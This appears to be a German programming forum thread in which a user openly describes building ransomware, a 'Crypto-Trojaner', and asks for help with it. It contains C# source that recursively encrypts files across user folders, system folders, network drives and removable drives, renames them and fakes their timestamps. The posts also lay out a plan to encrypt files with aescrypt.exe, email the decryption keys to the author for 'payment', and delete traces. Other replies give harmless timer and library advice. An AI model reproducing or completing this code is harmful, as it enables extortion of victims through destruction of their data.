Am besten bedient man sich einer Bibliotheksfunktion. Bei allen anderen Ansätzen läuft man
sehr schnell Gefahr etwas zu übersehen. Aus Spaßgründen kannst du freilich einen Verschlüsselungsalgo selbst implementieren, ich mir nur nicht ganz sicher, ob dich das bei deinen Zielen viel weiterbringt. Verstehe ich mich nicht falsch, dein Beitrag klingt nur nicht gerade danach, als dass du dir die mathematischen Hintergründe von AES gleich alle aneignen wolltest
Wie sollte das ungefähr mit den Bibliotheken funktionieren? Damit meinst du .dll's oder? Mit denen hatte ich bisher leider nicht wirklich was am Hut.
Wegen der Verschlüsselung:
Ich hatte mal eine xor Verschlüsselung versucht die vielleicht funktioniert hätte, aber beim Testen kam immer die Meldung das der Zugriff auf die Dateien ( trotz manifest 'requireAdmin' ) verweigert wurde.
Hier der Code:
Code:
// Own encryption
static byte[] passBytes = null;
static Random random = new Random();
static string extension = "." + random.Next().ToString("x");
static string filesToEncrypt = Properties.Resources.ExtensionsToEncrypt;
static void Mainx()
{
List<string> pathsToEncrypt = new List<string>();
DriveInfo[] drives = DriveInfo.GetDrives();
foreach(DriveInfo driveInfo in drives)
{
if (driveInfo.DriveType == DriveType.Network || driveInfo.DriveType == DriveType.Removable)
pathsToEncrypt.Add(driveInfo.RootDirectory.FullName);
}
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Favorites));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.History));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.InternetCache));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyComputer));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Personal));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Programs));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Recent));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.SendTo));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.System));
pathsToEncrypt.Add(Environment.GetFolderPath(Environment.SpecialFolder.Templates));
pathsToEncrypt.Add(Path.GetTempPath());
foreach(string currentPath in pathsToEncrypt)
{
parseAndEncrypt(currentPath);
}
}
static byte[] xor(byte[] bytes,byte[] pass)
{
if (bytes == null || pass == null)
return null;
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= pass[i % pass.Length];
}
return bytes;
}
static string encodedStr(string str)
{
if (str == null)
return null;
return Uri.EscapeDataString(str);
}
static void parseAndEncrypt(string beginning)
{
string[] files = Directory.GetFiles(beginning);
foreach (string currentFile in files)
{
FileInfo currentFileInfo = new FileInfo(currentFile);
if (filesToEncrypt.Contains(currentFileInfo.Extension))
{
try
{
byte[] newBytes = xor(File.ReadAllBytes(currentFile), passBytes);
File.WriteAllBytes(currentFile, newBytes);
File.Move(currentFile, currentFile.Replace(Path.GetFileName(currentFile), "") + encodedStr(Path.GetFileNameWithoutExtension(currentFile)) + extension);
currentFileInfo.LastWriteTime = DateTime.Now.AddDays(random.Next(-60, -10));
currentFileInfo.LastAccessTime = DateTime.Now.AddDays(random.Next(-30, -3));
}
catch { }
}
}
string[] subDirs = Directory.GetDirectories(beginning);
foreach(string currentPath in subDirs)
{
parseAndEncrypt(currentPath);
}
}
Das war die xor Verschlüsselung, und wie man sieht gibt es den Code-Block mit dem 'pathsToEncrypt, welche alle Pfade angeben sollte und diese dann nach Dateien durchsucht und dann Verschlüsseln sollte, weshalb ich mit dieser Verschlüsselung auch nicht ganz so zufrieden war, weshalb ich mich für AES/RSA entschieden habe, da ich diese schon kannte und ich mir darüber einiges durchgelesen hatte.
Ich habe eine Third-Party-App von
https://www.aescrypt.com/ mit dem Namen 'aescrypt.exe'. Dafür gibt es ein kleines UI mit dem man Dateien mit Passwörtern Verschlüsseln kann, und davon gibt es auch die Variante die man in der Konsole ( command-line supported ) verwenden kann. Ich verwende aescrypt.exe für so einiges, und weiß wie man es mittlerweile benutzt ^^, und gestern hatte ich die Idee mit der cmd zb tree /a zu machen und das Ergebniss in eine Datei zu schreiben, falls die Pfade in die Datei geschrieben werden ( oder irgendwie anders ), und diese dann mit der command-line Version von aescrypt zu verschlüsseln.
Ich habe mir eine komplizierte Art und weise ausgedacht was die Verschlüsselung bzw die Vorbereitung angeht bevor der Trojaner sich entpuppt sowie auch den Schutz der Key-Datei mit dem man alles wieder nach der 'Bezahlung' entschlüsseln kann. Der Schlüssel geniert sich durch ein Batch script, wird in einen extrem langen, zufällig generierten Namen umbenannt, und dann von aescrypt.exe mit einem sehr langen, auch zufällig generierten Schlüssel erstellt und einen zweiten Schlüssel verschlüsselt. Das bedeutet, der Hauptschlüssel mit dem man dann alles entschlüsseln kann, wird mit einem andern sehr langen Schlüssel verschlüsselt.
Da sich die Dateien generieren werden sie zuerst in .dat Dateien abgespeichert, dann mit aescrypt verschlüsselt, weshalb sie dann die Endung '.dat.aes' haben, und werden dannach zu '.VITCOM' unbenannt. Was ich gut finde ist, dass aescrypt.exe Dateien nicht entschlüsselt, solange sie nicht die ursprüngliche Dateiendung haben ( .dat.aes ). Die .dat Dateien werden an meine Email gesendet und dannach werden alle Arbeits-Dateien gelöscht, außer die .VITCOM Dateien.
Mittlerweile hab ich die Basis meines Crypto-Trojaners aufgebaut und ist schon so gut wie einsatzbereit, nur kleine Dinge müssen gefixt werden sowie die Verschlüsselung. Und da hätte ich wieder eine Frage, aber dazu später.
Erstelle einen Timer, der von 60:00 nach 0 geht und bei Erreichen der 0 prüfst du, ob die aktuelle Anzahl der Durchläufe noch < 5 ist und startest ihn ggf. neu. Wenn du ihn grafisch runterzählen lassen möchtest, ist wohl System.Windows.Forms.Timer deine Anlaufstelle. Laut
dieser Antwort gibt es aber auch noch eine allgemeinere System.Threading.Timer Klasse. Da müsstest du mal im Internet schauen; da gibt's bestimmt Code fürs Runterzählenlassen
Ich hab auch zur Zeit einen neuen Code geschrieben der theoretisch ( wie immer ) funktionieren dürfte, aber ich habe es leider noch nicht getestet. Statement folgt ;D
Kannst du das bitte genauer erläutern? Welches 'filePath' hast du konkret im Kopf?
Wie schon kurz gesagt mit dem 'pathToEncrypt': Dort werden die Pfade alle einer Variable hinzugefügt, und dann verwendet wenn die Dateien verschlüsselt werden sollen. Ich denke es ist verständlich wenn man es sich anssieht.
Ui, ein bisschen Diversität am Webbrowsermarkt (und der Renderingengines) kann definitiv nicht schaden
Jaa ^^... Mir fallen oft so viele Dinge ein die machen könnte und will, aber ich bin immer so ein Mensch der das angefange fertig machen will bevor er etwas neues beginnt, naja so bin ich zumindest beim programmieren. Aber das passt zu meiner Frage
Und zwar:
Ich hab ein Problem mit der WebBrowser Funktion bei meiner Form. Ich will das beim Laden des Forms der WebBrowser auf eine gewisse Website geht (
https://hack.chat/?ji6cgm60 ), was alles klappt mit dem Form_Load und webbrowser1.Navigate("
https://hack.chat/?ji6cgm60"); , aber anfangs bekam ich eine Fehlermeldung das Scripts nicht ausgeführt werden, weshalb man die Seite nicht wirklich verwenden konnte. Mit einem Registry Key konnte ich das lösen, und eine Zeit lang lief es gut, aber letzt kommt immer eine Meldung wie "The Navigation was canceled". Jetzt komme ich gar nicht mehr auf die Website TwT... Und die Form wirkt etwas verbuggt, da der Button und Label doppelt ineinandergeschoben erscheinen, obwohls es nur einen Button und Label gibt, aber das is nich so wichtig.
Ich frage mich nur warum der WebBrowser oftmals diese Probleme macht :/
Liebe Grüße,
Marcel